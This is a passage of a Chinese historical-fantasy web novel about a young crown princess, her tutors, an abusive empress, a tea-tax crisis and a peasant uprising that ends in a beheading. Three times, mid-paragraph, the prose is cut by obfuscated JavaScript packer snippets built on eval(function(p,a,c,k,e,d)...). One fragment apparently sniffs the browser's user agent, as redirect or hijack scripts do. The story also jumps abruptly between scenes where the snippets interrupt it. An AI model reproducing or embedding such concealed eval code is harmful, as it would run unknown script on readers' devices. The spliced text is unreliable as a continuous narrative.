沈长清赶紧拉老师的官袍,高呼道:“陛下,老师的意思是太女日渐年长,臣等毕竟是男子,若往内宫去教导太女,有失宫规。” 轩辕帝呵了声,拉起抛来媚眼的娇妃,拥进怀里揉捏她的丰腴。 他满足地笑下,又阴恻地看向沈长清:“这个理由倒是能听。那让她每日去天机宫旁的卜耀阁接受你们的教导。行了,别妨碍朕的大事,退下吧。” 孙忠谋和沈长清躬身礼拜,退出乾明宫。 大殿外,两人还听到殿里传来女子高亢的娇吟,似像整个大金宫宣召她的受宠,乃至轩辕帝要子的决心。 孙忠谋仰头看向“乾明宫”三个金字,眼里老泪纵横,一言不发地向宫道走去。 沈长清陪在老师的身后,默默地随他行走在前往内廷的宫道。 良久后,四下开阔处,孙忠谋再也抗不住心里的沉重,叹息着抹把老泪。 “长清,老师不中用。我堂堂大周轩辕朝,建国至今历经千余年,如今大厦……将倾啊……” “老师慎言。” 这世上还有谁能让孙忠谋破防,只有乾明宫里那位的荒唐行径。 沈长清向四下望去,向老师道声罪,阻止孙忠谋的悲愤言辞。 “老师,你在朝中的威望高,只有您老撑着朝局,才能给太女殿下掌着前朝,才能稳住忠义志士的人心。 如今,风子鸾野心勃勃,路人皆知啊。” 孙忠谋轻轻地摇头,一朝心迹外露,似老十几岁。 他坐在石道边,眼泪直直地往下淌。 有道是男儿有泪不轻弹,只是未到家国存亡时。 “老夫为官近四十五载,亲眼看当今圣上开悟明事,不曾想……” “老师……” 沈长清被他的悲伤所感,忍不住湿了眼眶。 遥想当年的轩辕祖先建国,何等的奇伟功勋,立千世不朽的大周朝。 如今再看,周朝已孱弱如朽木,如何让这根朽木回春,怎么才能让它回春? “咱们联合神女阿乐,逼陛下立太女,陛下的心就不在我们这,反倒贴那狼子野心。” 孙忠谋用满是皮褶的手抹把老泪,压下涌上的酸涩,叹息道,“我们是为轩辕朝千年的基业……轩辕自建国以来出过两任女帝,虽没有开国建业的大功勋,但是守国明君,稳稳得将朝政过度给下一代。这……就这……就他……老夫心痛啊。” “老师……” 沈长清捉急,瞥见太女的贴身宫女杜鹃立在道头,赶紧向太傅拱手,“老师,太女殿下的宫女杜鹃在前面呢。” 孙忠谋不以为意,拿内衣袖擦把眼泪鼻涕,欣慰道:“太女聪慧懂事。她是遣女官替我们守道。哎,若不是陛下登基多年无所出,只得一女,谁会走上此道?天怜轩辕,太女是个好孩子。 歹竹啊……也能出好……” “我的老师哎。”沈长清惊了下,阻止他继续念叨。 您老在风子鸾前老神在在,在自家府里念陛下就罢了,怎么这会沉不住气,在宫里念个没完。 孙忠谋呵了声,拍在学生的肩膀,最后感慨句。 “老夫今日如此,有感而发。” 他环顾四周,宫闱依旧,人心不如故, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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人在府里,我养着。家里家外的用度我没少出,呵……就你那点俸禄银两,养不活我娘呢。” 最后那句,凌度已经是讥讽地朝凌老爷道。 “你……” 凌老爷把手里的小凌云交给一旁噤若寒蝉的金桂嫂。 他指向不成器的儿子道,“钱银乃是身外物,人活一世重在责任良心,对天下做的公道事。” 凌度暗跟凌老爷嘀咕句,接上他的话:“是,你心中有家国大义,你是德高望重者。但是,你看看你,为官半生,混出个什么名堂?被宰辅一党抄家赶出京都,要靠一帮同僚给你捐个绿风郡下辖的五陵县丞来混温饱。 然后呢? 我娘……随你从北奔波至南,攒下一身的病。 最后,她又被饿死在县丞府邸,换来你如今的绿风郡守的官位。” 最后一句已是讥讽中暗藏哽咽。 “你……你娘是因病又逢灾年……多少年的事……你个不孝子……”凌老爷气的脑壳痛,连胸也疼。 凌度起身,面无表情道:“我不孝,还是您老不中用?如今,我在绿风城内有产有业、有儿有女,犯不着去面对你给求回来的木头美人。至于这个孩子,您老自己养着吧。” 他说完就走,出门后撞见站在门外无声哭的女人。 凌度撇开眼,挺身穿过殷罗等下人,径直出门。 “凌度,”韵霜此生第一次高声喝道,“若你走出这道门,我就同你和离。这辈子,你我老死……不相往来。” 凌度扭身,似第一次看清门廊下的韵霜。 曾经月黑风高时,他借着朦胧灯火见过一次袒露的韵霜,确是木头人。 如今,韵霜这一声喊倒是有点生气,但不足以令他动容。 除此外,韵霜身后站着得是凌飞这个害死母亲的爹。 凌度冷笑,咽下喉口的涩意。 他耿直脖子,脸不红气不喘地笑:“你嫁进我凌家的门还想要和离?休想。好好守在这府内,逢年过节,我总会来看你一眼。” “孽子……”凌老爷气得不行。 韵霜的泪如雨下,将将养好的身体又受波动。 满腔的酸楚化作对凌府的恨意,更恨那个被金桂嫂抱在怀的孩子……若没有这个孩子,一切是不是可以重新来过…… 凌老爷想要安慰儿媳妇,又要避嫌。 他看向儿媳妇怀揣一身恨意离去,心里也颇是不好受。他看向金桂嫂手中的小婴儿,更是酸楚难挡。 金桂嫂将孙少爷抱给凌老爷,轻声道:“老爷……” 凌老爷抱过孙儿,小凌云的脸白里透红,颇是让人暖心。 他长出口气:“但愿……我能把你教好吧,哎。” 4. 茶税 卧秋道府因贡茶没有按时上交。从京都下达的敕令文书直接送到卧秋道府的府衙。道府官员岂敢背下这么重的责任,将文书扔给下辖的岩阳郡府。 郡府老爷当即发落几地的县丞。县丞们一起推出云山县令杨安,再商议着拿一批百姓给郡府交差。 人不值钱,但是可以买命的“金”值钱。 京都第二封问责敕令下达卧秋道府,要求郡府以下涉案人员拿金买命,被县丞等人称为“茶金税”。 然而,大周京都有一位名叫轩辕金簪的太女。金簪本是富贵人家的所用之物。如今被用为帝皇家的人名,导致整个轩辕皇朝要避讳“金簪”两字。 “金”直接被避为不可用,“簪”则用“钗”替代。 原本男簪女钗,在避讳后,男子所用的簪被叫做“桑矶”或“玉搔头”,而女子所用的簪被称为“钗”、“华胜”、“步摇”等,相对男子那方,女子这边的首饰称呼较多些。 这本是许多年前的事了,但是因为避讳,皇朝境内上下的商人都不可用“金”贸易,一时间白银价格上涨,而“金”成各家私藏。 敢私藏金得不是京都的达官贵人,就是地方的权贵乡绅、一方土豪强僚。 如今,京都的贵人要下面的人用金买命。 这哪里来金呢? 在经过这么多年的避讳后,白银已经是价贱如铜板,而一金难求如登天。 *京都,大金宫* 金簪见太傅和少傅联袂而来,小小年纪保持适当的肃容。她被南叶服侍坐在殿中紫檀榻,等两人登堂。 孙忠谋和沈长清在门口整理衣冠,入殿后向上首的金簪行君臣礼。 金簪端端正正地受了,而后起身离座。她在孙忠谋面前,拱手行师道礼。 孙忠谋老怀欣慰,侧身受了半礼。 “太女快快请起。” 金簪直身,向一旁的沈长清拱手致意,再向太傅迎道:“太傅,少傅请入书阁。” “殿下请。”孙忠谋走在金簪的身后入了书阁。 他坐在金簪长桌的下手,接过南叶递来的课业,一一阅览。待他看完后,他又将课业递给下手的沈长清复阅。 孙忠谋朝太女温声道:“殿下的字清秀雅正,颇有士子之风。” 金簪稍稍愣了下,凝眸思索他的话意。 她垂敛眸里的暗色,平常道:“太傅教得好。” 孙忠谋微微一笑,颔首后取了怀里今日的课业递给南叶。南叶接过后呈递给金簪。 沈长清见孙忠谋开始给太女上课,便安静地旁听。 他虽有少傅之名,但教学主力还是在孙忠谋这。在一老一少一讲一学中,他也在思考太傅为什么突然提出致仕的想法。 按如今的朝局分析,太傅孙忠谋在朝一天,就能顶住风子鸾施加太女一党的压力。 不久后,孙忠谋朝沈长清道:“长清,该你了。” 沈长清回过神,向老师颔首后请太女金簪背诵日前布置的《为君表》。 金簪起身,小小身姿端方雅正,面容静肃且宁和。 她高声吟道:“君者,民之表率。餐食道,朝夕亭午,不可食过四。用衣道,洗浴沐衣,不可日过二。为人道,不信不疑,不失人不自失。为君道,以民安乐,吏符其职,四海殷富。” 沈长清的心微微宽泛,面对这样认真治学的太女,谁不会对未来的朝局心生希望呢? 他含笑点头,用有力的声音希冀道:“殿下可理解句中含义?” 金簪扑闪长睫,昂起小巧的脑袋。金丝冠上的明珠发出悦耳的撞击声。 她用稚嫩的嗓音缓缓道来:“一日三餐,察民之生计。一日一沐二换衣,体民之恤。为人不可太过疑,亦不可太信,过疑失人心,过信则丢自身。为君者,致民乐、致四海升平,致天下官员各司其职、各行有道。” 孙忠谋想起今日风子鸾的放肆,心中郁气再次翻搅。 他接上道:“如今太宰当道,殿下该如何解决?” 沈长清暗吸口气。老师今日这茬是过不去了。 金簪轻轻地敛眸,如明珠的双眸尽显笑意。 她微抬起下颚,吐字如珠:“他……难道能比孤……活得久?” “……哈哈哈……好好好啊。”孙忠谋不气反笑,胸中那口郁气终是长长地吐出来。 他起身向金簪行礼,拜道,“殿下,圣上答应,明日您可以去天机宫旁的卜耀阁学习。只是,晨蒙道长,您得鸡鸣起身、平旦到阁,颇是辛苦。殿下既有除此饕贼的心志,能否做到此事呢?” 金簪的樱唇轻轻地舒展,身为太女,终于有机会出内宫。 她的眸里有星光,拜道:“多谢太傅、少傅替学生周旋。学生在卜耀阁静候太傅教导。” “好。臣定不负殿下的期望。”孙忠谋抿唇点头,向一侧同样行礼的沈长清欣欣然地笑了。 两人又布置晚间的课业,再向金簪拜别,一起离开金翅宫。 书阁内余下金簪在座。 她看向桌面上留下的昨日课业,拿起来后递给杜鹃,淡淡道:“烧了吧。” 杜鹃不明就里,想要问一句,被旁边的南叶摆手示意别问。 她依言将课业放进香炉烧尽。 金簪阅读太傅留下的新课业,随手置在一旁。 她看向炉上散尽烟气的口子,拿起此前未看完的轩辕朝宫廷录来读。 另一边,孙忠谋和沈长清两人步行出宫,走在金红色的甬道。 “老师为何觉得太女那句话好?”沈长清懂这里的道道,但是,甬道路长,说说话也好。 当然,他更想问得是太傅为什么要致仕。 但是,孙忠谋那句“臣定不负殿下所期”,说明太傅不是中途会退的人。 若他一定要致仕,定有不得不为的理由。而这个理由,在恰当的时机,太傅自会解释明白。 所以,他就挑这个可以让孙忠谋好心情的话题。 孙忠谋心感欣慰,抚须道:“长清以为你活得长还是老夫活得长?” “这……老师天寿延年。”沈长清笑道。 孙忠谋屈指点下他,舒展面容:“长清不老实。如今,殿下人小式微,在朝前不受陛下的待见。在后宫,皇后对她握得向手里的金簪利剑般紧。光是我等文臣如何和朝堂上得那些贪狼虎辈相斗。 伏低做小方才是谋生之道。难为她小小年纪看得这般长远啊。” “原来如此啊。”沈长清含笑道,“若是世道清明,殿下稚齿显智,当能一展抱负。” “是啊。为君者五道:开国、守成、陵夷、中兴、乱王者;今上陵轶,荒唐无度、好赖不分,我已是无话可说。至于殿下,不求殿下开疆、中兴,便是能做守成之君,为人臣子已感到极大欣慰。 此基础上,君臣一心,何贼不能除? 罢了。老夫听说中部地区的卧秋道府无法上交今岁贡茶?”孙忠谋沉吟道。 沈长清跟随在太傅身边,算是入了权力中心。 耳闻他提及此事,他也管不得师父的心情,叹息道:“学生也有耳闻。学生听闻的事远不止这些。道府上不了贡茶还仅仅是小事。 西北方,自摩尔人翻过冰原抢占轩辕祖地西六府三城(雪草城、天都城、天机城)后,年年闯过秦连长墙到内地打草谷,弄的边塞百姓民不聊生。慕容涛屡屡上表要求增加粮饷补给,都被太宰寮驳回。 如今,西北征报已经到达宰辅的府邸,至今没在朝堂上呈开呢。” “竟有此事,消息可靠?”孙忠谋停下步子,待沈长清颔首,拂袖背后,骂道,“风竖子误国啊。” 沈长清忍不住道:“各地道府互相制衡,不听京都号令,盐铁私卖的事日益严重,弄得人心惶惶。 风……太宰的权势再高,底下的兵打不过摩尔人的狼骑大刀,也是惘然。” “他霸去的风瑶骑兵的刃向得不是外敌。”孙忠谋重重地叹息道,“终归要弄到兵权,这些犊子才肯听人话。可惜了,两百年前的轩辕铁甲兵全部丧在逆仙一战,世间再无轩辕铁甲。 千年前,铁甲兵破除祭师祸民,轩辕先祖定典天下万民同心,何等风光奇伟的千秋大业。” 他摇下头,感叹道:“若是轩辕祖传的铁甲还在,怎么会令军权旁落、朝政颓败成这样。数朝来,军权散落道府,握在外边人的手。” 撇开这些不可更改的事,孙忠谋突然道:“今年城中的茶市价格上涨。恐怕一匹绢换不来一斤新茶。你早点囤些旧茶吧。” 沈长清滞了下,心中保留人道君子的气节,赌气道:“学生大不了不喝茶。” 世事已经如此,难道连老师也不能免俗? 他心直口快地提醒道:“老师,今年京中的茶定遭人哄抢,一叶价格贵比千金,弄得民生乱象,何必呢?” 孙忠谋能不明白学生的心思。他也是这么悲天悯人的过来。 不过,居可无竹,不可无茶。 他抚袖,试着挽回在学生心目中的地位:“你当老夫在意这茶?老夫是怕这些中饱私囊的官吏压迫卧秋道府岩阳城周边等地以金代税政。这要是闹起来,又是一桩失人心的举动。 你去茶市走一遭,探访一二茶商,了解下中部地区的情况。” 沈长清这才明白老师的用意。 他赶紧拱手行礼,颔首道:“学生定为老师寻来茶叶。只是,据学生所知,民间已经把真金作为各家的私藏,不用于交易。私下流通确实存在些,但也不多。白银通胀,价低不如刀币。大家已经把此祸归咎到圣上和殿下的身上。” “这些祸乱朝纲的坏犊子啊。”孙忠谋摆手,摇头走出皇宫大门,上马车离去。 沈长清在宫门口送走老师,回首巍巍的轩辕金宫。 当年的圣旨言及不用避讳“金簪”,却被世家大族利用成假避讳、真敛金。 偌大的金宫里,一众贵人却被蒙在鼓中。 大厦将倾之刻,有识之士都能有些感知,偏这座宫里和满京都的达官贵人还在做黄粱大梦。谁来,又有谁能救那宫里怀抱期望的小太女啊? ** 金翅宫里,轩辕金簪迎来皇后。 她在大门口恭迎皇后入殿。 曳地金袍拂过金簪的膝边,轩辕皇后在金翅宫的大殿上落座。 她睨向女儿抬起的小脸,观她颊面如满月的婴儿,暗舒口气,高傲道:“起来吧。” 金簪起身时见服侍母后得不是玉蓉,垂敛了眸光。 “都下去吧。本宫与太女有话说。”轩辕皇后的威仪很重,一开金口,随侍的宫女宫侍鱼贯而出。 她看向殿中的金簪,凝眸就怪她:“真是没用。本宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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金簪微抬下颚,目视她:“簪儿记得以前的母后,手抚摸在儿脸颊时,不会带这么尖锐的指套。如今这镶金的凉意透过儿的肌肤,渗进儿的内心。母后,你真要如此吗?” 平静的心湖冻起一层薄薄的冰。 轩辕皇后猛地放下手,起伏的胸口显示她的怒火未平。 金簪继续道:“母后,儿臣派人求过父皇,一直没有被召见。若母后觉得上一次的巴掌、一脚还不够泄愤,可以用这金指刺破儿的肌肤。兴许,他会起兴拍两下掌。毕竟,亲者痛、仇者快。” 轩辕皇后的唇齿猛地掀开,喘息一声后用力推倒金簪,低吼道:“你当本宫没试过?确实是仇者快。你这么想,莫不是不想要储君之位? 你身为储君,须得身无瑕疵、行无不端。轩辕金簪,本宫告诉你,为保你这个位置,本宫染上多少血都不为过,你要给本宫争气。” 她咬牙道,“守好它。” “孤自会守住它。”金簪板正身姿,跪直后看向容色绝丽却透出刃芒的母后。 她周旋这么久终于等皇后的神色舒缓,才问出那句想问的话,“玉蓉呢?” “玉蓉?哼,她竟给本宫用残缺的瓷盏奉茶,瞒上贪墨,已被本宫依法送往内廷司。” 轩辕皇后俯瞪金簪的面容,彻底淡下心气。 这个女儿还是个重情人,惦念本宫身边的人,更不能留玉蓉。 她委婉道:“簪儿,现在,你可以出内宫,要学会把握机会笼络朝臣,拥有一批忠心护你的臣子。将来,你荣登大宝,才能保护母后,在这吃人的宫廷里活下去。 至于后宫,上不得台面的玩意,本宫替你善后,快起来吧。” 金簪没有动,眸光越发澈如水、凉似寒冰。 轩辕皇后看向木头似的女儿,搞半天又打不出个屁。 她压着怒火,继续“谆谆教诲”:“你好歹是太女,拿出点威信。堂堂大周轩辕朝第一太女,一人之下万人之上,不能辱没轩辕家的威仪。” 金簪收敛心绪,垂首拜道:“是,母妃。” 她这才起身,安静地立在原地。 轩辕皇后深出口气,朝外喊道:“来人,将本宫送给太女的物件呈进来。” 玉鸢带人将从内廷司领来的物品一一呈递入堂,交给接手的杜鹃和南叶。 轩辕皇后瞧向平静的女儿,撇脸道:“快点,回宫。” 玉鸢带宫侍快步移交,随后扶皇后走出大殿。 金凤銮驾起轿,一行人如来时般浩浩荡荡地离开偏僻的金翅宫。 金簪站在殿前的玉阶上恭送,待凤驾出金翅宫的大门,朝杜鹃道:“你去查下玉蓉的事。” “这……”杜鹃现出难色,担忧道,“若是让娘娘知道……” “对她来说,孤这个女儿有用,放心去查。”金簪吩咐完,转回殿内。 她等南叶和杜鹃退去,拿起未翻阅完的密录,又随手搁置。 金簪取过太傅布置的课业,轻声喃道:“比起至亲给得一巴掌、一颗甜枣的举动,太傅一句‘笔如士子之风’的轻赞,倒显得更珍贵。呵……” 5. 百日 南旋道府,绿风郡城,凌府。 《东京梦华录》有言:“生子百日置会,谓之百啐。” 满百日这天,凌府给凌云举办百日宴。 凌飞老爷看着门可罗雀的大堂,连韵霜的亲家因儿子那事都气得不上门,也是无可奈何。 他抱上打扮红火的凌云,站在厅门前,尬笑道:“祖父的小云儿哦,满百日了呀。百为满,满则溢,不如‘缺’。对了,《孙子兵法·军争篇》有言:故用兵之法,高陵勿向,背丘勿逆,佯北勿从,锐卒勿攻,饵兵勿食,归师勿遏,围师必‘阙’,穷寇勿迫,此用兵之法也。小云儿啊,围师必阙,此乃上策。” 他喃喃念起拿手的兵策,抱着凌云巡了一圈院子,又道,“嗯……咱们把这些酒菜送去给邻家好不好?当作给小云儿积福啦。” 小凌云咧嘴发笑,小手塞进嘴巴,弄湿的小手又去抓祖父的胡须。 “来人啊,你们把备下的酒菜送去隔壁几户邻里吧。”凌老爷朝下人吩咐道。 下人挺为难。 凌府的凌老爷虽然是绿风城郡府,但是清贫如洗,一城郡守的官衙只留前堂办公,后面让给兵丁衙差及家属住。 这一处凌府宅邸落在普通民宅,是当年凌度少爷十五岁出息后挣钱买入。 自少夫人嫁进门后,这凌府才添些人气。 话说回来,凌老爷总共给孙少爷满百日就摆三桌酒,但这邻居颇多,怎么送呀? 殷罗代少夫人来前堂看娘家是否来人,见真没来人,心下也是不虞。她听了凌老爷的话后站出来道:“凌老爷,婢子带他们去吧。” 凌老爷见是殷罗过来,欢喜道:“韵霜要过来看云儿吗?” 殷罗轻轻地摇头,向他屈膝行礼后带下人去安排。 凌老爷微不可见地叹息出声,继续逗弄怀里的小孙儿。 晚间入夜前,四邻备下礼物前来敲凌府的门。他们被迎进堂,纷纷恭喜凌老爷喜获孙儿。 “凌老爷家的少夫人诞下孙儿,既不敲锣也不打鼓,邻里见你们三朝、满月都没办,不好意思上门来问。” “是啊是啊。凌老爷如今办百日宴,倒是让大伙终于可以谢谢凌老爷平日的照顾。” 相邻七嘴八舌地感谢凌老爷平日的相助。 邻里人都不喜欢喊凌飞老爷做凌郡守。 如今世道,城里城外当官得就没几个好东西,姓氏加官名连起来喊得不是敬称,而是凶巴巴的骂人话。 凌老爷的眼眶发热,抱紧小凌云感谢诸位乡邻的捧场。 大家纷纷笑说凌老爷客气。当年五陵县天灾,全靠凌老爷救护一县之民。他的善举从小影响到大,惠及绿风郡。 绿风郡的老郡守何知鱼学了圣人举止,行禅让制。他亲自递呈上奏,举荐凌飞接任绿风城的郡守位。 南旋道府接报后当作治郡表彰,呈上京都。 京都的太师听闻好友凌飞事迹,拼张老脸拜访风子鸾。这才揭过当年凌飞因年轻气盛,以诗才暗讽风子鸾的罪。 那些诗句本就是逢迎拍马的人添油加醋、夸大其词来着。多年后的风子鸾似乎已能置之一笑,卖给太师这个人情,同意绿风城郡守的新旧调令函。但是,至此后,太师不入朝却成了大家的共识。 此刻,当相邻散去后,凌飞亲问下人:“各家送的东西都已记下?” 管家认真回道:“老爷不收礼的做法,大伙都记得。我已着人记录了各家送的东西,方便退回去。” 凌老爷颔首,喊下人将四邻带来的东西再次一一送回,顺道捎上句话:“为官者不取民一物一钱,乃是本份。” 下面的人自然按凌老爷的吩咐去做事。 一时间,凌郡守的官声在民间再次高扬。 绿风郡西门下的一处“外寒酸、内颇富”的府邸里,凌度听下人汇报凌府百日宴发生的事后哼了声:“老东西又在用兵法沽名钓誉。舍小谋大,恁得是好心计。” ** 卧秋道府,岩阳郡城下的云山县。 杨安县丞交不起上头要的金,压逼衙役官吏向县内各家各户乞金,号称“茶金税。” 百姓们受扰,怨声载道。各家里被兵氓翻个遍,金没被找出来,攒起得那点银箔、粮食都被翻出后搜去。 百姓坐在门前痛哭,咒骂世道人心不古。 杨安县丞为了保命,不止收刮百姓,还将搜刮来的东西低价倒卖给富商。他则带一家老小卷铺盖和银钱,投奔隔壁的胜争道府。 周边的各县府知悉后也急红了眼。原本推出去的替罪羊跑掉了,可咋整呀? 一时间许多人动起跑路的心思。 岩阳郡府得知消息后不管三七二十一,先拿下其余三个县府的官员和家眷关押。 余下一个县府县丞是郡府亲家,得了消息,也不管其它几县,连夜带家人和银钱财帛先跑为敬。 道府间的府兵倾轧严重,上面的人争权,底下的人心已散。县丞们跑起来都没压力了,甚至为了活命砸钱开路。 杨安县丞在跑前对家人道:“如今奸佞当道,小人物怎堪盘剥?此时我若不跑,何时再跑?难道真等全家老小哐当入狱,替上头抵罪吗?跑,现在就跑。” 然而,此时若有人肯振臂高呼,将各县城的富商集中进行募捐纳银、通官道小鬼,好好的茶叶何需要上行路难的山道。偏偏道府人人各自为私,令“九乌官道”不通,害一众乡民不说,还从京都招来更大的祸事。 当卧秋道府再派人下岩阳城郡守府催缴茶金税。郡守府直接将扣押的三县人员抵上去。至于茶金税……呵呵,人命已有,要什么钱呢? 卧秋道府的府衙官员岂肯罢休?上头若真要人命就不会追加第二道通令。 道府直接派出府兵,下令捉拿岩阳城的郡守以及下辖涉案各县茶农并三位县丞及家属,一起押解上京都。 卧秋道府为了此事名正言顺,以一纸封告将大群人定为“倾茶下山道”的叛民和不尊诏令的惫懒官员。 府兵沿途敲锣打鼓,浩浩荡荡地押送这偌大一批官民上京都交差。 半道上,这批人途径青骊山洛川江前,山上冲杀来一批持刀强盗。强盗们杀死卧秋道府的官兵,带这群被定为叛民的人进了深山。 这就是大周朝末年的历史转折点:青骊山民反。 民间也称其为:青骊好汉。 京都里沈长清这样的人物都不在意小小贡茶一事,何况大宰辅风子鸾呢,更遑论其他在朝官员。 然而,仅仅只是这一个小小的导火索,却掀起大周朝官逼民反的第一步。 两百多年前的逆仙一战后,轩辕朝繁盛五十年,随之而来各道府蓄养府兵,各自为政。地方官员不听京都调令,许多高官子爵蓄养府兵,等得就是一个拥兵自立的机会。 茶政一道能如此祸害一方百姓,何况其它盐铁税政。苛政猛如虎,实是现下的民况。 大周国的海岸线狭长,特别是南旋道府靠海的南旋城这个地方,实际归圣学儒门所有,海外仁智岛拥有一座学海无涯阁,乃是万千儒士神往之所。 当年,学海无涯阁出儒道圣师,辅助大周开国皇帝轩辕战起兵推翻祭师祸国制,后一统天下。 轩辕开国皇帝把临海口前往学海仁智岛的港口命名为南旋城,乃是纪念大周国开国之初起事于南疆的意思。 现在,南旋城正在发生一起焚书坑儒的事件。 儒门弟子抨击当朝大宰辅风子鸾独霸朝纲、祸乱朝政。各地道府拥兵自重,不管民生百计,造成青骊山民反一事。 这话通过其它道府的探子,被有心的官员传到京都,直入大宰辅风子鸾的耳朵。 大宰辅喝茶之际,不过撕一页纸,便有批风瑶骑兵连夜出京都,快马往南旋道府的府城奔去。 风瑶骑兵假借轩辕陛下的旨意屠杀儒门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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金簪的眸光颤动了下,轻声道:“玉蓉跟在母妃身边时日不短。但是,她也不知道母妃曾经是龙腾殿的制衣宫女,乃是胜争道府送进宫的重要棋子。罢了,不是因为岩盏,而是玉蓉触及了母后的逆鳞,因此遭祸。” 她垂敛眸光,如平常般说着这些话,指甲却掐紧掌心。 杜鹃没有跟上金簪的情绪,依旧道:“婢子打听过了,韩丹公公将姑姑交给内廷司寇后又加了假传皇后谕旨的罪名。姑姑被鞭笞了整整五十下。” 杜鹃说着,眼泪都落了下来。 物伤其类,大家都是宫女,焉不知有朝一日,这种祸事就临了头。她跪下,就希望太女开恩,莫要发生这样的事。 金簪没再多感慨,日前皇后亲送来得那些披帛衣物、她那不耐烦的样子,想来是皇后忆起过往做宫女的日子。 她抿唇道:“起来吧。以后不用动不动就跪。孤不是母妃,不会成为那样的人。” 杜鹃抬起的膝盖又要跪下去,一旁的南叶赶紧拦住她后摇头,这才令杜鹃站直回谢。 金簪搁置手中的书,睨眸问道:“内廷掌库房的侍官同样是韩丹的人。韩丹名义上掌着外廷,因为父皇不再信任母后而令他拿到内廷的管事权利。宫侍说皇后的用度超祖制,此言绝不寻常。母妃有危机感吧。南叶。” “婢子在。”南叶上前,躬听吩咐。 金簪试着微微笑了下,轻声道:“南叶,你心细,太傅也常夸你。你帮孤盯下内廷的库房,记下每日出入领物的宫殿、妃子及她们的用度。” “殿下这是?”南叶瞬间想起刚刚还制止了杜鹃发问,这会差点就犯了同样的毛病。 “婢子多问了。”她颔首领命,待金簪吩咐“下去”,和杜鹃一起退离书殿。 两人出了殿门后,杜鹃再也忍不住拿目光指向书阁,轻声问道:“难道殿下也担心后宫妃嫔受宠生子?” 南叶轻轻地摇头,压了下手。她见杜鹃虽是按下不表却仍有疑惑在脸,就解了她先前的顾虑。 “我知道你刚才想要说什么。放心吧,殿下也说了,她不是皇后娘娘那样的人,不会随意发落婢子们。” 她见杜鹃面露哀切,想必是记起玉蓉一事,转口道,“时值盛夏,我去内廷库房走一趟,先将来日的秋纱领来备下,以便秋日丰收祭时装点宫门。” “秋日的事得这么早办啊。行了行了,我懂,你去吧。我去吩咐备膳。”杜鹃拍了下多言的嘴,在南叶的瞪视下赶紧走了。 6. 骊山 卧秋道府的青骊山中,聚集一大批闻讯而来的苦难百姓、以及不少从风瑶骑兵手底下逃出的儒门学子。 他们聚在一起高声呐喊:“向狗官讨回公道……讨回公道……” 高处的岩山上站着位高大的男人,身边有数位持刀的大汉。这些人就是青骊山中的强盗悍匪。 人群前方和高岩的中间是三位县丞。 他们的衣衫褴褛,脸面上是被愤怒群众用石头砸出的伤口血痕。 此刻,他们的脖子上驾着明晃晃的斜头大砍刀,像是进山砍柴百姓的直斧加长版。三人被三位大汉狠狠地跪压在地,显得极为狼狈不堪。 杨康从人群里站出来,指向三位衣衫褴褛的县丞,吐口大骂:“他们……全是他们逼得呀。若不是这几人逼迫云山县令杨安,令他集五县贡茶赶卧秋山道进道府,何至于让我等乡民摔下山道,死的死、残的残。好汉,杀了他们,为那些摔下山的百姓报仇。” 民群激愤,一时嚷杀声四起。 高地上的大汉名唤李云起。他摆了下手,朝瑟瑟发颤的三个狗官,恨声道:“你们欺民盗世,勾结郡守压榨百姓,连无辜稚儿都不曾放过。今日,我等就替天行道,在青天白日下斩杀你们。你们,服不服?” 拢共三位县丞,已有两人被吓得湿淋了裤子。 唯有北安阳发着颤,瞟见人群里被架起又捂嘴的妻儿,压下心悸,高声道:“我……我不服。” 官声响亮,群民一时被他这声震慑,渐渐地安静下来。他们又群起暴躁,向北安阳扔去更多的石头。 李云起呵笑几声,唾了声“活该”。他跳下高岩,摆手阻止一众扔石头的百姓。 他走至北安阳的前方,俯视他道:“不服?你有何不服?难道不是你们派下苛捐杂税,弄得我们不得不进山为寇?呵,我们连住的地方都没有,同山猫野虎挣地睡觉。如今,这样砍了你们的头,都便宜了你们。” “对对,都是官害得我们,杀了他们。”一老者拔起草团泥块就砸向北安阳,带得群众再次起愤怒,捡起石头就砸向三人。 李云起赶紧跳开,笑看着狼狈的三人。 北安阳不再一味承受,开始躲着草团和石块。他颤声高呼:“冤枉啊。我们也是被岩阳郡守所逼才行此事,你看看我一家妻儿全被你等捉来,全是获罪入狱,等着被压上京都判决。你们苦,我们何尝不苦? 我读书三十载,为人孝、亲于民,过学府、治乡县,品德大考更是得县中百姓赞誉,才能稳坐涠洲县丞。 怎奈世道如此,从上欺下,我若不听上面诏令也是死。 大家都是为了活啊。 如今这局面,岩阳郡守为了自保推了我们出来,而他自身一家老少也成了卧秋府衙的替罪羊。如今,郡守这一家子被你们当场斩杀在青骊山下,你们杀得还不够吗? 我们三县人小式微,无奈抗下这些罪……我们也无辜啊。呜呜呜……” 一时间大家安静下来,不少人将团在手里的草团石块扔回地上。 那几位捂住北安阳妻儿的男女也松开了手。 “老爷……” “爹……” 妻儿挣开旁人的手,夺奔上前抱住北阳安。一家人抱在一起嘶声痛哭。 另外两位县丞见机也开始喊苦,咒骂世道不公才致使大家官不像官。 然而,这两位治下的民众混在人群里高声骂道。 “你们放屁,当年天灾,我们把种粮都拿出来吃,你的县衙府库藏满粮食却不分给民,你个大贪官。砸死你。” 居中的县丞赶紧避开石头,抬眼去辨人,发现喊话的人正是当年被他下令除掉的偷粮小吏。 他惊恐地瞪大眼睛:“不是这样……别听他胡说……” ……李云起站在一旁,朝这位县丞旁边的好汉点头。 那好汉手起刀落,直截了当地斩落了这位县丞的项上人头。 一旁的北安阳捂住儿子的眼睛,俩人都没躲过溅来的热血。 旁边的妻子“啊”得一声,吓晕过去。 人群沉默了一瞬,再次响起高呼:“杀得好啊。” 彼伏之声如同起浪,一个个都像是在青骊山下杀郡守一家一样在高呼,“杀得好……” 另一个县丞瘫软在地。 